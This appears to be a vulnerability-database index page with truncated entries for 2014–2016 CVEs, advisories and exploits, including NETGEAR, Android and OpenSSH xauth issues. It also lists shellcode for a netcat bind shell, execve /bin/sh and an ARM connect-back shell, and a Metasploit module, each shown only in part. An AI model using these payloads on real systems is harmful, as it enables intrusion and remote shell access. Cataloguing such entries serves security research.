PT-2016-3880

Name of the Vulnerable Software and Affected Versions NETGEAR D3600 version 1.0.0.49 NETGEAR D6000 versions 1.0.0.49 and earlier Description The issue concerns the password-recovery feature, which allows remote attackers to discover the cleartext administrator password by reading the HTML source...

CVE-2015-8289: Exposure of Sensitive Information to an Unauthorized Actor

The password-recovery feature on NETGEAR D3600 devices with firmware 1.0.0.49 and D6000 devices with firmware 1.0.0.49 and earlier allows remote attackers to discover the cleartext administrator password by reading the cgi-bin/passrec.asp HTML source code...

Google Android - '/system/bin/sdcard' Stack Buffer Overflow (PoC)

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=798 Android: Stack-buffer-overflow in /system/bin/sdcard There's an integer overflow issue in getnodepathlocked, which results in a buffer overflow. For all of the calling paths, this is going to overflow a stack buffer in the pare...

Linux/x86 - /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes)

/ Linux x86 /bin/nc -le /bin/sh -vp13337 shellcode56bytes Author: Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 56 SLAE - 750 Disassembly of section .text: 08048060 : 8048060: 31 c0 xor eax,eax 8048062: 50 push eax 8048063: 68 33 33 33 37 push 0x37333333 8048068: 68 2d 76 70 31 push...

Linux x86 /bin/nc -le /bin/sh -vp13337 Shellcode 56 bytes

Linux x86 /bin/nc -le /bin/sh -vp13337 Shellcode 56 bytes. Shellcode exploit for linx86 platform / Linux x86 /bin/nc -le /bin/sh -vp13337 shellcode56bytes Author: Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 56 SLAE - 750 Disassembly of section .text: 08048060 : 8048060: 31 c0 xor...

Linux x86_64 XOR Encode execve Shellcode

Linux x8664 XOR Encode execve Shellcode. Shellcode exploit for linx86-64 platform / Title : Linux x8664 XOR encode execve"/bin//sh","//bin/sh","-i",NULL,NULL shellcode Date : 31-05-2016 Author : Roziul Hasan Khan Shifat Tested On : Ubuntu 14.04 LTS x8664 / / main code ------------------------...

TP-Link SC2020n Authenticated Telnet Injection

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule 'TP-Link SC2020n Authenticated Telnet Injection', 'Description' = %q The TP-Link SC2020n Network Video Camera is vulnerable to O...

Moderate: Red Hat Security Advisory: docker security, bug fix, and enhancement update

An update for docker is now available for Red Hat Enterprise Linux 7 Extras. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability...

Firmware File System Extraction: firmwalker

A simple bash script for searching the extracted or mounted firmware file system. It will search through the extracted or mounted firmware file system for things of interest such as: etc/shadow and etc/passwd list out the etc/ssl directory search for SSL related files such as .pem, .crt, etc...

Linux/x86_x64 - execve/bin/bash - 33 bytes

Linux/x86x64 - execve/bin/bash - 33 bytes. Shellcode exploit for linx86-64 platform / --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/bash - 33 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato...

Linux/x86-64 - execve(/bin/bash) Shellcode (33 bytes)

/ --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/bash - 33 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih...

Linux/x86-64 - execve(/bin/sh) Shellcode (25 bytes)

/ --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/sh - 25 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih...

Linux/x86-64 - execve(/bin/sh) Shellcode (26 bytes)

/ --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/sh - 26 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih...

Linux/x86_x64 - execve/bin/sh - 26 bytes

Linux/x86x64 - execve/bin/sh - 26 bytes. Shellcode exploit for linx86-64 platform / --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/sh - 26 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa...

OpenSSH <= 7.2p1 Xauth Command Injection Vulnerability

OpenSSH is prone to an xauth command injection vulnerability. SPDX-FileCopyrightText: 2016 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:openbsd:openssh";...

OpenSSH 7.2p1 - Authenticated xauth Command Injection

Exploit for multiple platform in category remote exploits ''' Author: Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115 Version: 0.2 Date: Mar 3rd, 2016 Tag: openssh xauth command injection may lead to forced-command and /bin/false bypass Overview -------- Name: openssh Vendor:...

OpenSSH <=7.2p1 xauth injection

来源链接： https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115 VuNote Author: Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115 Version: 0.2 Date: Mar 3rd, 2016 Tag: openssh xauth command injection may lead to forced-command and /bin/false bypass Overview Name: openssh...

OpenSSH 7.2p1 - (Authenticated) xauth Command Injection

''' Author: Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115 Version: 0.2 Date: Mar 3rd, 2016 Tag: openssh xauth command injection may lead to forced-command and /bin/false bypass Overview -------- Name: openssh Vendor: OpenBSD References: http://www.openssh.com/1 Version: 7.2...

Linux/ARM - Connect back to {ip:port} with /bin/sh - 95 bytes

Linux/ARM - Connect back to ip:port with /bin/sh - 95 bytes. Shellcode exploit for arm platform / Title : Linux/ARM - Connect back to ip:port with /bin/sh Length : 95 bytes Date : 2014-06-03 Author : Xeon Tested : ARM1176 rev6 v6l / include include char shellcode =...

Linux/ARM - Connect back to 10.0.0.10:1337 with /bin/sh Shellcode (95 bytes)

/ Title : Linux/ARM - Connect back to ip:port with /bin/sh Length : 95 bytes Date : 2014-06-03 Author : Xeon Tested : ARM1176 rev6 v6l / include include char shellcode = "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x92\x1a\x90\x1a\x17\x27\x01\xdf"...